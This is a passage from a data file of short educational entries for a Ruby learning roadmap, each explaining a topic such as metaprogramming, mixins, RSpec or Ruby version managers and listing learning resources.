    "content": "# Ruby Version Managers\n\nRuby version managers are tools that allow you to install and manage multiple versions of Ruby on the same system. This is useful because different projects may require different Ruby versions, and using a version manager prevents conflicts and simplifies switching between them. They typically work by modifying your shell environment to point to the desired Ruby installation.\n\nVisit the following resources to learn more:\n\n- [@official@Managers - Ruby Docs](https://www.ruby-lang.org/en/documentation/installation/#managers)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/metaprogramming@ufLdyKM3iya8zuMD1_sIj.md",
    "content": "# Metaprogramming\n\nMetaprogramming is essentially writing code that manipulates other code. It allows you to define methods, classes, or even modify existing ones at runtime. This means your program can dynamically adapt and change its behavior based on conditions or data it encounters while running, rather than being fixed at compile time.\n\nVisit the following resources to learn more:\n\n- [@book@Metaprogramming Ruby.pdf](https://theswissbay.ch/pdf/Gentoomen%20Library/Programming/Ruby/Metaprogramming%20Ruby.pdf)\n- [@article@Ruby Metaprogramming: How to Write Dynamic Code](https://betterstack.com/community/guides/scaling-ruby/metaprogramming/)\n- [@article@An Introduction to Metaprogramming in Ruby](https://blog.appsignal.com/2023/07/26/an-introduction-to-metaprogramming-in-ruby.html)\n- [@article@Ruby Metaprogramming: Real-World Examples](https://www.rubyguides.com/2016/04/metaprogramming-in-the-wild/)\n- [@article@Ruby Metaprogramming Secrets](https://www.rubyguides.com/guides/metaprogramming-guide.pdf)\n- [@video@RubyConf 2022: In Defense of Ruby Metaprogramming By Noel Rappin](https://www.youtube.com/watch?v=D_ZRaZucjm4)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/method-lookup@ihUJHaZ1gu3Fb7MiybXCj.md",
    "content": "# Method Lookup\n\nMethod lookup is the process a programming language uses to determine which method to execute when a method is called on an object. It involves searching through the object's class and its ancestors (inheritance hierarchy) to find the appropriate method definition. The search typically starts with the object's class and proceeds up the inheritance chain until a matching method is found.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Ruby Method Lookup](https://www.honeybadger.io/blog/ruby-method-lookup/)\n- [@article@Better Know A Ruby Thing: Method Lookup](https://noelrappin.com/blog/2025/03/better-know-a-ruby-thing-method-lookup/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/method-parameters@m4QhKH7mVhxRqnJOF5Xc2.md",
    "content": "# Method Parameters\n\nMethod parameters, also called arguments, are the values you pass into a method when you call it. There are several types: required parameters, which must be provided; optional parameters, which have default values if not provided; and variable-length arguments (using `*args`), which allow you to pass in an arbitrary number of arguments as an array. Arbitrary keyword arguments (using `**args`) allow you to pass arguments by name, and can also be required or optional. Block parameters (using `&block`) allow you to pass a block of code to a method.\n\nVisit the following resources to learn more:\n\n- [@official@Arguments](https://docs.ruby-lang.org/en/master/syntax/methods_rdoc.html#label-Arguments)\n- [@article@Parameters and arguments](https://www.theodinproject.com/lessons/ruby-methods#parameters-and-arguments)\n- [@article@Methods](https://launchschool.com/books/ruby/read/methods)\n- [@video@How to Use Method Arguments in Ruby](https://www.youtube.com/watch?v=rwVWKx-fQDg)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/method_missing@pBbtuN36wqgXz4Oua0ukX.md",
    "content": "# method_missing\n\n`method_missing` is a Ruby method that gets called when you try to invoke a method on an object that doesn't exist. Instead of raising a `NoMethodError`, Ruby gives you a chance to handle the missing method call yourself. This allows you to dynamically respond to method calls based on the method name and arguments provided, enabling flexible and expressive code.\n\nVisit the following resources to learn more:\n\n- [@article@Metaprogramming in Ruby: method_missing](https://josh-works.medium.com/metaprogramming-in-ruby-method-missing-f6d7f7f6aef5)\n- [@article@Ruby Metaprogramming - Method Missing](https://www.leighhalliday.com/ruby-metaprogramming-method-missing)\n- [@video@How and why to use Ruby’s method_missing](https://www.youtube.com/watch?v=rp1luOKyT9g)\n- [@video@Ruby Tutorial | Metaprogramming in Ruby - Method Missing](https://www.youtube.com/watch?v=AVfp6V-lEZo)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/minitest@C7Dy0rqAo-HotIVlCBa1G.md",
    "content": "# Minitest\n\nMinitest is a complete testing suite for Ruby. It provides support for test-driven development (TDD), behavior-driven development (BDD), mocking, and benchmarking. It's a lightweight and fast testing framework that's included in the Ruby standard library, making it readily available for use in Ruby projects without requiring additional installations.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Ruby Minitest Tutorial](https://www.youtube.com/watch?v=Reso8FlRRAc)\n- [@opensource@minitest](https://github.com/minitest/minitest)\n- [@article@MiniTest - Writing Test Code In Ruby (2/3)](https://dev.to/exampro/minitest-writing-test-code-in-ruby-part-2-of-3-4306)\n- [@article@Getting Started with Minitest](https://www.cloudbees.com/blog/getting-started-with-minitest)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/modules--mixins@8OF85n6CRQ3u3GFxlJlc8.md",
    "content": "# Modules & Mixins\n\nModules in Ruby are collections of methods, classes, and constants. They provide a way to namespace and prevent naming conflicts. Mixins allow you to incorporate module functionality into classes, enabling code reuse and multiple inheritance-like behavior. By including a module in a class, the class gains access to the module's methods, effectively \"mixing in\" the module's functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Module](https://ruby-doc.org/core-2.5.0/Module.html)\n- [@article@A Beginner's Guide to Ruby Modules and Mixins](https://betterstack.com/community/guides/scaling-ruby/modules-mixins/)\n- [@article@Mixing in Modules](https://launchschool.com/books/oo_ruby/read/inheritance#mixinginmodules)\n- [@article@Ruby — Inheritance and Module](https://medium.com/swlh/ruby-inheritance-and-module-cc0132348dcd)\n- [@video@Modules | Ruby | Tutorial 34](https://www.youtube.com/watch?v=Cq_dKYAqMrI&pp=ygUMcnVieSBtb2R1bGVz)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/monkey-patching@6mCtbDW5pkFQdLSjsr_Ad.md",
    "content": "# Monkey Patching\n\nMonkey patching is a technique that allows you to add, modify, or replace existing code in a class or module at runtime. This means you can change the behavior of classes and modules, even those defined in external libraries, without directly altering their source code. It's a powerful tool for extending functionality or fixing bugs, but it should be used with caution as it can lead to unexpected side effects and make code harder to maintain.\n\nVisit the following resources to learn more:\n\n- [@article@Responsible Monkeypatching in Ruby](https://blog.appsignal.com/2021/08/24/responsible-monkeypatching-in-ruby.html)\n- [@video@Introduction to Monkey Patching In Ruby](https://www.youtube.com/watch?v=BH8-1SK7ZYI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/mutex@toevE0eM7c5f_zeSaVjdr.md",
    "content": "# Mutex\n\nA mutex (mutual exclusion) is a synchronization primitive that provides exclusive access to a shared resource. It essentially acts as a lock, ensuring that only one thread or process can access a critical section of code at any given time. This prevents race conditions and data corruption that can occur when multiple threads try to modify the same data simultaneously."
  },
  {
    "path": "src/data/roadmaps/ruby/content/naming-conventions@tRGKIfQG9IiPJGuO8DUX4.md",
    "content": "# Naming Conventions\n\nNaming conventions are a set of rules or guidelines for choosing names for variables, methods, classes, and other entities in a programming language. These conventions promote code readability, maintainability, and consistency across projects. Following a standard naming style helps developers understand the purpose and scope of different elements within the code more easily.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Naming Convention](https://namingconvention.org/ruby/)\n- [@article@Naming conventions in Ruby language](https://dhanusir.com/ruby/section-two/naming-conventions/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/naming-conventions@wsnjdnZZohQsVBfM1uN8H.md",
    "content": "# Naming Conventions\n\nNaming conventions are a set of rules or guidelines for choosing names for variables, methods, classes, and other entities in a programming language. These conventions promote code readability, maintainability, and consistency across a project. Following a standard naming scheme helps developers understand the purpose and scope of different elements within the code, making it easier to collaborate and debug.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Naming Convention](https://namingconvention.org/ruby/)\n- [@article@Naming conventions in Ruby language](https://dhanusir.com/ruby/section-two/naming-conventions/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/next@ueQ4bgcEXEgEDGhfVPjH8.md",
    "content": "# Next Keyword in Loops\n\nThe `next` keyword in Ruby provides a way to skip the current iteration of a loop and proceed directly to the next iteration. When `next` is encountered within a loop (like `for`, `while`, `until`, or iterators like `each`), the remaining code in the current loop cycle is bypassed, and the loop immediately begins its next cycle, if one exists. This is useful for skipping certain elements or conditions within a collection or range.\n\nVisit the following resources to learn more:\n\n- [@article@Controlling Loop Execution](https://launchschool.com/books/ruby/read/loops_iterators#controllloop)\n- [@article@Ruby Explained: Iteration](https://eriktrautman.com/posts/ruby-explained-iteration)\n- [@article@Understanding The Ruby Next & Break Keywords](https://www.rubyguides.com/2019/09/ruby-next-break-keywords/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/nil@WMa8k6sbhow-TXNibFj0a.md",
    "content": "# Nil\n\n`nil` represents the absence of a value or a non-existent object. It's a special object in Ruby that signifies emptiness or the lack of a meaningful result. Think of it as a placeholder indicating that a variable or expression doesn't currently hold a valid value.\n\nVisit the following resources to learn more:\n\n- [@article@Nothingness and the truth](http://ruby-for-beginners.rubymonstas.org/conditionals/nothing_and_truth.html)\n- [@article@Everything You Need to Know About Nil](https://www.rubyguides.com/2018/01/ruby-nil/)\n- [@article@True, False, and Nil](https://ruby-for-beginners.rubymonstas.org/built_in_classes/true_false_nil.html)\n- [@video@Ruby Nil Explained](https://www.youtube.com/watch?v=mBJrQ84f6-4)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/operators@5ThpsSMnFZUxWV1Y2Z75A.md",
    "content": "# Operators\n\nOperators are special symbols in Ruby that perform operations on one or more operands (values or variables). These operations can include arithmetic calculations (like addition and subtraction), comparisons (like checking if two values are equal), logical evaluations (like determining if a condition is true or false), and assignment of values to variables. They are fundamental building blocks for creating expressions and controlling the flow of logic in Ruby programs.\n\nVisit the following resources to learn more:\n\n- [@official@Operators](https://docs.ruby-lang.org/en/3.4/syntax/operators_rdoc.html)\n- [@article@Everything You Need to Know About Ruby Operators](https://www.rubyguides.com/2018/07/ruby-operators/)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/package-managers@cRQjwGKIG7CmbDOwj7dfU.md",
    "content": "# Package Managers\n\nPackage managers simplify the process of installing and managing software, including Ruby, on your system. Instead of manually downloading and configuring Ruby, you can use a package manager specific to your operating system. For example, on macOS, you might use Homebrew, while on Debian/Ubuntu Linux, you'd use apt. These tools handle dependencies and ensure Ruby is installed correctly, making the setup process much easier.\n\nVisit the following resources to learn more:\n\n- [@official@Package Management Systems](https://www.ruby-lang.org/en/documentation/installation/#package-management-systems)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/procs@DD3TQAEl2JD0TIPDNZXXl.md",
    "content": "# Procs\n\nA Proc in Ruby is an object that represents a block of code that can be stored, passed around, and executed later. Think of it as a named, reusable chunk of code. Unlike regular methods, Procs are objects, allowing them to be treated like any other variable, passed as arguments to methods, and stored in data structures. They capture the surrounding context in which they are defined, meaning they have access to variables and methods available at the time of their creation.\n\nVisit the following resources to learn more:\n\n- [@official@class Proc](https://docs.ruby-lang.org/en/master/Proc.html)\n- [@article@The Ultimate Guide to Blocks, Procs & Lambdas](https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/)\n- [@article@Understanding Ruby Proc objects](https://www.codewithjason.com/ruby-procs/)\n- [@video@Blocks, Procs, and Lambda Functions in Ruby](https://www.youtube.com/watch?v=Dh3cSYjHITI)\n- [@video@Ruby Blocks, Procs, and Lambdas 🦁🐅🐻](https://www.youtube.com/watch?v=SADF5diqAJk)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/pry@Voz_H9SBIeOndzl3gmuS7.md",
    "content": "# Pry\n\nPry is a powerful Ruby runtime developer console and an alternative to `irb`. It offers features like syntax highlighting, code browsing, documentation lookup, and the ability to step through code execution. Pry allows developers to pause program execution at any point, inspect variables, and even modify code on the fly, making it an invaluable tool for debugging and understanding Ruby code.\n\nVisit the following resources to learn more:\n\n- [@article@Debugging Ruby Code with Pry](https://laflamablanc.medium.com/debugging-ruby-code-with-pry-a0bf1f5e97ca)\n- [@article@Debugging in Ruby with pry-byebug](https://blog.appsignal.com/2024/05/08/debugging-in-ruby-with-pry-byebug.html)\n- [@article@Pry debugging](https://docs.gitlab.com/development/pry_debugging/)\n- [@video@Debugging Ruby with PRY](https://www.youtube.com/watch?v=dPDrgpWakrA)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/puts-print-p@DKA6AJR1kz6Ox90MmN5Tl.md",
    "content": "# Puts, Print, and P\n\n`puts`, `print`, and `p` are methods in Ruby used to display output to the console. `puts` prints the given arguments followed by a newline character, `print` prints the arguments as they are without adding a newline, and `p` prints a human-readable representation of the given object, which is useful for debugging.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding The Differences Between Puts, Print & P](https://www.rubyguides.com/2018/10/puts-vs-print/)\n- [@article@puts vs print vs p in Ruby](https://flexiple.com/ruby-on-rails/puts-vs-p-vs-print-ruby)\n- [@video@Differences Between Print, Puts & P in Ruby](https://www.youtube.com/watch?v=9jSwVvyjAKE)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/querying@ZQuUDWqbNUxOYc-Fkk2pI.md",
    "content": "# Querying Enumerable Collections\n\nEnumerable querying methods in Ruby allow you to gather information _about_ a collection without necessarily extracting or transforming its elements. These methods check for the presence of elements that meet certain conditions, determine the size or characteristics of the collection, or verify if all or any elements satisfy a given criteria. They return boolean values, counts, or other summary data about the Enumerable itself, rather than returning a modified Enumerable.\n\nVisit the following resources to learn more:\n\n- [@article@Methods for Querying](https://ruby-doc.org/3.4.1/Enumerable.html#module-Enumerable-label-Methods+for+Querying)\n- [@article@Getting to know Ruby's Enumerable Module](https://www.rafaelmontas.com/getting-to-know-ruby-enumerable-module/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rack@qvg65UaeythwvO38wn8Gc.md",
    "content": "# Rack\n\nRack provides a minimal interface between web servers and Ruby frameworks. By abstracting the connection between the server and the application, Rack allows developers to write Ruby web applications that can run on a variety of web servers with minimal configuration. It essentially provides a common API for handling HTTP requests and responses.\n\nVisit the following resources to learn more:\n\n- [@opensource@rack](https://github.com/rack/rack)\n- [@article@The Basics of Rack for Ruby](https://blog.appsignal.com/2024/10/30/the-basics-of-rack-for-ruby.html)\n- [@article@What is Ruby Rack? — Build your first Rack app](https://cdragon.medium.com/what-is-ruby-rack-build-your-first-rack-app-32771cde34d9)\n- [@video@What is Rack? How does it work? A brief guide for Ruby on Rails Developers](https://www.youtube.com/watch?v=C4wy8L--FmE)\n- [@video@Rack - The BEST Ruby Web Framework](https://www.youtube.com/watch?v=PzMNycHMmws)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/ractors@H4Cz_4xcMJmU0UwvEhNIn.md",
    "content": "# Ractors\n\nRactors are an actor-model-based concurrency abstraction in Ruby, designed to allow for parallel execution. They provide a way to isolate data and execution between different parts of a program, minimizing shared mutable state and thus simplifying concurrent programming by preventing common issues like race conditions. Each Ractor runs in its own thread and has its own isolated heap, communicating with other Ractors through message passing.\n\nVisit the following resources to learn more:\n\n- [@official@Ractor](https://docs.ruby-lang.org/en/3.4/ractor_md.html)\n- [@article@An Introduction to Ractors in Ruby](https://blog.appsignal.com/2022/08/24/an-introduction-to-ractors-in-ruby.html)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/ranges@OHq_172eTWaVlxES7Ccfc.md",
    "content": "# Ranges\n\nRanges in Ruby are used to create a sequence of values. They are defined using two endpoints, which can be numbers, characters, or any objects that can be compared using the `<=>` operator. Ranges can be inclusive (including the last value) or exclusive (excluding the last value), denoted by `..` and `...` respectively. They are commonly used for iterating over a sequence, creating subsets of arrays, and checking if a value falls within a specific interval.\n\nVisit the following resources to learn more:\n\n- [@article@Range operators](https://kddnewton.com/2023/07/20/ruby-operators.html#range-operators)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rbenv@VaRe4VrB7hjGp2UUFxtGf.md",
    "content": "# Rbenv\n\nRbenv is a command-line tool that allows you to easily manage multiple Ruby environments (versions) on a single system. It works by intercepting Ruby commands and determining which Ruby version to use based on the current directory or a global setting. This enables you to work on different projects that require different Ruby versions without conflicts.\n\nVisit the following resources to learn more:\n\n- [@official@Rbenv](https://rbenv.org/)\n- [@opensource@rbenv](https://github.com/rbenv/rbenv)\n- [@article@Rbenv — How it works](https://medium.com/@Sudhagar/rbenv-how-it-works-e5a0e4fa6e76)\n- [@article@rbenv cheatsheet](https://devhints.io/rbenv)\n- [@article@rbenv vs RVM: Picking Your Ruby Version Manager Buddy](https://dev.to/lovestaco/rbenv-vs-rvm-picking-your-ruby-version-manager-buddy-4130)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rdoc@QFkREObmZZebsCwXM3ML0.md",
    "content": "# RDoc\n\nRDoc is a documentation generator for Ruby source code. It parses Ruby files and creates HTML or other formatted documentation based on comments and code structure. It's the standard tool for generating API documentation for Ruby projects, allowing developers to easily understand and use libraries and applications.\n\nVisit the following resources to learn more:\n\n- [@official@RDoc - Ruby Documentation System](https://ruby.github.io/rdoc/)\n- [@opensource@rdoc](https://github.com/ruby/rdoc)\n- [@video@Reading and using Ruby Documentation - Rdoc](https://www.youtube.com/watch?v=opvB-_vycTs)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/recursion@yqsXD8ugaAHPnLJsd5XDQ.md",
    "content": "# Recursion\n\nRecursion is a programming technique where a function calls itself within its own definition. This creates a loop-like behavior, but instead of using explicit loops (like `for` or `while`), the function breaks down a problem into smaller, self-similar subproblems until it reaches a base case, which stops the recursion and returns a value. The results from each recursive call are then combined to produce the final solution.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use Recursion & Memoization in Ruby](https://www.rubyguides.com/2015/08/ruby-recursion-and-memoization/)\n- [@article@Simple Recursion in Practice with Ruby](https://codesignal.com/learn/courses/easy-interview-coding-practice-in-ruby/lessons/simple-recursion-in-practice-with-ruby)\n- [@video@Ruby Recursion Explained!](https://www.youtube.com/watch?v=5JyJWdOP8PM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/redo@gUa4S-_xZhClyiit_MSkQ.md",
    "content": "# Redo\n\n`redo` is a control flow statement in Ruby used within loops (like `for`, `while`, `until`) and iterators (like `each`, `map`). When `redo` is encountered, it restarts the current iteration of the loop or iterator from the beginning, without evaluating any remaining code in that iteration. It essentially repeats the current step.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby's redo, retry and next keywords](https://blog.appsignal.com/2018/06/05/redo-retry-next.html)\n- [@article@The redo Keyword in Ruby](https://medium.com/rubycademy/the-redo-keyword-in-ruby-3f150d69e3c2)\n- [@video@#23 Ruby Tutorial - NEXT and REDO statements with codes in Ruby](https://www.youtube.com/watch?v=oHlSMSawyc8)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/refinements@aNf0-Yhwl98L_oNfipvj3.md",
    "content": "# Refinements\n\nRefinements provide a way to modify the behavior of a class or module within a specific scope, without affecting the global definition of that class or module. This allows you to introduce changes or extensions to existing code in a localized manner, preventing unintended side effects in other parts of your application. Refinements are particularly useful for managing dependencies and avoiding conflicts when working with shared code or libraries.\n\nVisit the following resources to learn more:\n\n- [@article@The Pros and Cons of Ruby Refinements](https://www.cloudbees.com/blog/ruby-refinements)\n- [@article@Understanding Ruby refinements and lexical scope](https://www.honeybadger.io/blog/understanding-ruby-refinements-and-lexical-scope/)\n- [@article@Refinement: The Correct Way To Monkey-Patch in Ruby](https://reinteractive.com/articles/tutorial-series-for-experienced-rails-developers/ruby-refinements-vs-monkey-patching-best-practices)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/regex@B5T4d3FYTvydh4DOcTFFR.md",
    "content": "# Regular Expressions in Ruby\n\nRegular expressions (regex) are patterns used to match character combinations in strings. In Ruby, you can use regex to search, replace, or validate text within strings. They are defined using forward slashes (`/pattern/`) or the `%r{pattern}` syntax and provide a powerful way to manipulate and analyze text data based on specific patterns.\n\nVisit the following resources to learn more:\n\n- [@official@class Regexp](https://docs.ruby-lang.org/en/master/Regexp.html)\n- [@article@Mastering Ruby Regular Expressions](https://www.rubyguides.com/2015/06/ruby-regex/)\n- [@article@Regular Expressions](https://ruby-for-beginners.rubymonstas.org/advanced/regular_expressions.html)\n- [@article@Cool Ruby regex tricks](https://www.honeybadger.io/blog/ruby-regex-tricks/)\n- [@video@Ruby for Newbies: Regular Expressions](https://www.youtube.com/watch?v=hy6KUoU34_w)\n- [@video@Ruby Programming Tutorial - 23 - Beginning Regular Expressions](https://www.youtube.com/watch?v=q70q-QyIios)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rspec@E6k00oTuohQOBkPNyuKAA.md",
    "content": "# RSpec\n\nRSpec is a testing tool for Ruby. It provides a domain-specific language (DSL) for writing tests in a clear and readable format. RSpec focuses on behavior-driven development (BDD), allowing developers to describe the expected behavior of their code in a way that is easy to understand and maintain.\n\nVisit the following resources to learn more:\n\n- [@official@RSpec](https://rspec.info/)\n- [@article@Getting Started with RSpec](https://semaphore.io/community/tutorials/getting-started-with-rspec)\n- [@article@Introduction to RSpec](https://www.theodinproject.com/lessons/ruby-introduction-to-rspec)\n- [@video@RSpec Ruby Tutorial](https://www.youtube.com/watch?v=FgGOa7Mxoxg&list=PL_noPv5wmuO9Z3h_Nq4aEPfzGqrJzhthb)\n- [@video@How to Test Your Ruby Code With RSpec](https://www.youtube.com/watch?v=LdutLs5-ObI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rubocop@gHn3q_539Ia31Kviem8lK.md",
    "content": "# RuboCop\n\nRuboCop is a static code analyzer and formatter for Ruby. It inspects Ruby code and reports style issues, potential errors, and code smells based on a community-driven Ruby style guide. RuboCop can also automatically correct many of these issues, ensuring code consistency and improving overall code quality.\n\nVisit the following resources to learn more:\n\n- [@official@RuboCop](https://rubocop.org/)\n- [@official@RuboCop Docs](https://docs.rubocop.org/rubocop/1.82/index.html)\n- [@opensource@rubocop](https://github.com/rubocop/rubocop)\n- [@article@Using RuboCop for Effective Ruby Code Linting](https://betterstack.com/community/guides/scaling-ruby/rubocop/)\n- [@video@RubyConf 2022: Analyzing an analyzer - A dive into how RuboCop works by Kyle d'Oliveira](https://www.youtube.com/watch?v=LAo-PYs6bp0)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/ruby-dsl@aU4XniRWyGKQxGnrxYKyE.md",
    "content": "# Ruby DSLs\n\nA Domain Specific Language (DSL) is a programming language designed for a particular kind of application. Instead of being a general-purpose language that can solve a wide range of problems, a DSL is focused on solving problems in a specific domain, making code more readable and maintainable within that domain. Ruby's flexible syntax makes it well-suited for creating internal DSLs, which are DSLs implemented within Ruby itself, leveraging Ruby's features to create a more expressive and concise syntax for a specific task.\n\nVisit the following resources to learn more:\n\n- [@article@Creating a Ruby DSL: A Guide to Advanced Metaprogramming](https://www.toptal.com/developers/ruby/ruby-dsl-metaprogramming-guide)\n- [@article@Writing a Domain-Specific Language in Ruby](https://thoughtbot.com/blog/writing-a-domain-specific-language-in-ruby)\n- [@article@Crafting a Ruby configuration DSL: Lessons learned](https://vaisakhvm.medium.com/crafting-a-ruby-configuration-dsl-lessons-learned-8bbb0958c670)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/ruby-on-rails@AE7YB3XH70HJWCf51i5YH.md",
    "content": "# Ruby on Rails\n\nRuby on Rails is a server-side web application framework written in Ruby under the MIT License. Rails is a model-view-controller (MVC) framework, providing default structures for a database, a web service, and web pages. It encourages the use of web standards such as JSON or XML for data transfer, and HTML, CSS, and JavaScript for the user interface.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby on Rails](https://rubyonrails.org/)\n- [@official@Getting Started with Rails](https://guides.rubyonrails.org/getting_started.html)\n- [@opensource@rails](https://github.com/rails/rails)\n- [@article@Ruby vs Ruby on Rails: What’s the Difference?](https://kinsta.com/blog/ruby-vs-ruby-on-rails/)\n- [@article@Visit the Dedicated Ruby on Rails Roadmap](https://roadmap.sh/ruby-on-rails)\n- [@video@Learn Ruby on Rails - Full Course](https://www.youtube.com/watch?v=fmyvWz5TUWg)\n- [@video@Ruby on Rails in 100 Seconds](https://www.youtube.com/watch?v=2DvrRadXwWY)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rubygems@iwXBPrnuwPvNRbOIDxWvq.md",
    "content": "# RubyGems\n\nRubyGems is a package management system for the Ruby programming language. It provides a standard format for distributing Ruby programs and libraries (called \"gems\"), a tool for easily installing gems, and a central repository ([RubyGems.org](http://RubyGems.org)) for finding and sharing them. It simplifies the process of managing dependencies and distributing reusable code in the Ruby ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@RubyGems](https://rubygems.org/)\n- [@official@Libraries](https://www.ruby-lang.org/en/libraries/)\n- [@official@RubyGems Basics](https://guides.rubygems.org/rubygems-basics/)\n- [@opensource@rubygems](https://github.com/ruby/rubygems)\n- [@video@What Are RubyGems - Explained](https://www.youtube.com/watch?v=M4szKwqFHKs)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rubymine@WQQuaLnCCzy48uDPJ-sDb.md",
    "content": "# RubyMine\n\nRubyMine is an Integrated Development Environment (IDE) specifically designed for Ruby and Ruby on Rails development. It provides a comprehensive suite of tools for coding, testing, debugging, and deploying Ruby applications, aiming to enhance developer productivity through features like intelligent code completion, refactoring, and integration with various testing frameworks and version control systems.\n\nVisit the following resources to learn more:\n\n- [@official@RubyMine](https://www.jetbrains.com/ruby/)\n- [@article@Introduction to RubyMine — A Powerful Ruby Development Tool](https://medium.com/@AlexanderObregon/introduction-to-rubymine-a-powerful-ruby-development-tool-4127851de5f9)\n- [@video@RubyMine vs VSCode (2026): Which Is The Best IDE For Ruby on Rails?](https://www.youtube.com/watch?v=WIc1de6_1MM)\n- [@video@Episode #526 - RubyMine](https://www.youtube.com/watch?v=j3hv7pz1ROc)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/running-ruby@cfT4N5gu00Gz1ST9c3o8-.md",
    "content": "# Running Ruby\n\nRunning Ruby code involves executing instructions written in the Ruby programming language. This can be done through various methods, including using the Ruby interpreter directly from the command line, executing Ruby scripts, or running Ruby code within a web server environment like Rails. The interpreter reads and executes the code line by line, producing the desired output or performing the specified actions.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby in Twenty Minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@article@Ruby Programming/Hello world](https://en.wikibooks.org/wiki/Ruby_Programming/Hello_world)\n- [@article@How To Write Your First Ruby Program](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-ruby-program)\n- [@video@Ruby - Install and Hello World](https://www.youtube.com/watch?v=zmBNDZyYVpM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/rvm@0c_0zyh1LQA80gmriWOT3.md",
    "content": "# RVM\n\nRVM (Ruby Version Manager) is a command-line tool that allows you to easily manage multiple Ruby environments on a single system. It enables you to install, manage, and work with different Ruby versions (like Ruby 2.7, 3.0, or JRuby) and gemsets (isolated collections of gems) independently. This prevents conflicts between projects that require different Ruby versions or gem dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@RVM](https://rvm.io/)\n- [@opensource@rvn](https://github.com/rvm/rvm)\n- [@article@What’s an RVM and Why You Should Use it for Rails Apps?](https://medium.com/@moulayjam/whats-an-rvm-and-why-you-should-use-it-for-rails-apps-b5cced2469a8)\n- [@article@rbenv vs RVM: Picking Your Ruby Version Manager Buddy](https://dev.to/lovestaco/rbenv-vs-rvm-picking-your-ruby-version-manager-buddy-4130)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/scope@SB_IzxfilaHBVL1fe5aYG.md",
    "content": "# Scope\n\nScope refers to the visibility and accessibility of variables within different parts of a program. It determines where a variable can be accessed and used. Understanding scope is crucial for avoiding naming conflicts and ensuring that data is accessed and modified correctly within different parts of your Ruby code.\n\nVisit the following resources to learn more:\n\n- [@official@Scope](https://docs.ruby-lang.org/en/master/syntax/methods_rdoc.html#label-Scope)\n- [@article@Variable Scope and Access in Ruby: The Important Parts](https://ethanweiner.medium.com/variable-scope-and-access-in-ruby-the-important-parts-dc2d146977b3)\n- [@article@Method Definition and Local Variable Scope](https://launchschool.com/books/ruby/read/methods)\n- [@video@Methods & Variable Scope in Ruby](https://www.youtube.com/watch?v=rzZK79C6nSI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/search-algorithms@EPNxjJqcP10c1__q1KKea.md",
    "content": "# Search Algorithms\n\nSearch algorithms are methods used to find a specific element within a collection of data, like an array or a hash. These algorithms work by systematically checking each element in the data structure until the desired element is found or it's determined that the element is not present. Common examples include linear search, which checks each element sequentially, and binary search, which efficiently finds elements in sorted data by repeatedly dividing the search interval in half.\n\nVisit the following resources to learn more:\n\n- [@article@Search algorithms with Ruby](https://dev.to/daviducolo/search-algorithms-in-ruby-3nbj)\n- [@article@Search Algorithms in Ruby](https://medium.com/@limichelle21/search-algorithms-in-ruby-c3b8c9b70451)\n- [@article@Introduction to Binary Search](https://codesignal.com/learn/courses/sorting-and-searching-algorithms-in-ruby/lessons/introduction-to-binary-search-in-ruby)\n- [@video@Binary Search & Linear Search: Algorithms With Ruby](https://www.youtube.com/watch?v=7RPr83FYEkE)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/searching--filtering@Zil-9cf_-g1H5VUF52bxo.md",
